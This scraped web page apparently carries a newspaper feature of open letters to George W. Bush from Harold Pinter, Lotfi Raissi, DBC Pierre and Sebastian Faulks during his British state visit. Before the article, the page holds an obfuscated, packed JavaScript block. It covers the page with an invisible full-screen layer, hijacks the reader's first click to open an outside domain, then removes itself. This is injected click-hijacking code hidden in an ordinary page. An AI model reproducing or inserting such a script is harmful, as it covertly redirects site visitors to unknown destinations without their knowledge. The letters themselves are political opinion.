<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>While we have your attention, Mr President...
It's not often that we get the chance to speak directly to the most powerful man in the world. So as George Bush lands in Britain for his first state visit, we asked 60 Brits and Americans to make the most of it
Dear President Bush,
I'm sure you'll be having a nice little tea party with your fellow war criminal, Tony Blair. Please wash the cucumber sandwiches down with a glass of blood, with my compliments.
Harold Pinter
Playwright
Dear Mr Bush,
Two years ago, shortly after the 9/11 atrocity I was arrested in the early hours of the morning at the home I shared with my wife in Colnbrook. At the time we were happy and looking forward to the future. I was studying to convert my US commercial pilot's licence to a European one and Sonia, my beautiful wife, had recently had a promotion at work. As the anti-terrorist branch officers stormed into our home, our life died and the nightmare began.
The front page headlines around the world reported the US and their representatives as saying that I was the "lead instructor" of four of the pilots responsible for the hijackings and that I would in time be charged for "conspiracy to murder". I faced extradition and the death penalty.
The proceedings against me lasted seven long months. Millions of pounds and dollars were spent on what the crown prosecution service described as the biggest investigation ever in the UK. The result was that the US case against me was thrown out of court by a UK judge who said that there had been "no evidence whatsoever" to support the allegation that I was involved in terrorism.
I spent five months of hell in Belmarsh prison where threats were made on my life. My dream of a career as a pilot is over. The money spent on my training is wasted. My wife and I are unemployed. Many people will now always think of me as a terrorist. Because the US won't admit they were wrong and withdraw the warrant I can't travel out of the UK except to visit Algeria. I can't even visit my in-laws in France. The "war on terror" has moved on but my life and family are still in pieces.
Lotfi Raissi
The pilot falsely accused of aiding the September 11 terrorists
Dear Jorge,
Look out! Behind you!!
Hahahahahahahaha, only kidding.
Love,
DBC Pierre
Novelist
Dear Mr Bush,
Novelists are famous for not knowing much about public affairs, but for what it is worth, I have always liked America. I have only been a tourist, but my family goes back a long way: my grandfather died as a reporter with American troops on the Rhine in 1945, and my father was wounded twice at Anzio fighting alongside the US Third Infantry Division.
After that, we had our Suez; you had your Vietnam, Korea, Guatemala, Chile... I could go on, but we will pass over these things because in the 20th century we won the first, second and cold wars. It wasn't just the winning, it was the fact that we were on the democratic side, and that we behaved with propriety. We were not the aggressors. We negotiated. You waited. Good heavens, did you ever wait!
Pearl Harbor and the Twin Towers were attacks to which you responded with appropriate force. Saddam Hussein, however, had neither the means nor the motive to attack you. Nor did he supply others. None of the reasons you offered for invading Iraq - taken singly or jointly - stood up to moral or strategic scrutiny. This was clear to even those of us well disposed towards America. We were at first puzzled ("I'm sure they know something we don't, they're just not allowed to tell us"); then, as it became apparent that you knew nothing, we became unhappy.
What we hated was the way you failed to understand the inheritance of the west. It was not a birthright of absolute superiority, but it was the best thing we had; it was something that went, as Mr Blair put it, to the "heart of our credibility as a nation". And this credibility, for which so many millions died - you have let it run through your hands. And in doing so, you allowed a British prime minister to be morally finessed by Jacques Chirac... Dear God, that it should come to that.
You can laugh at the old Stalinists who lead the protest march against you and ignore the anti-western ranting of a few journalists here whose pathology is one of guilt and self-hatred. But please do be aware of the distaste felt towards what you have done by reasonable, pro-American Britons. I hate to think what the allied dead of two world wars would have made of it, and of your presidency.
Sebastian Faulks
Novelist |
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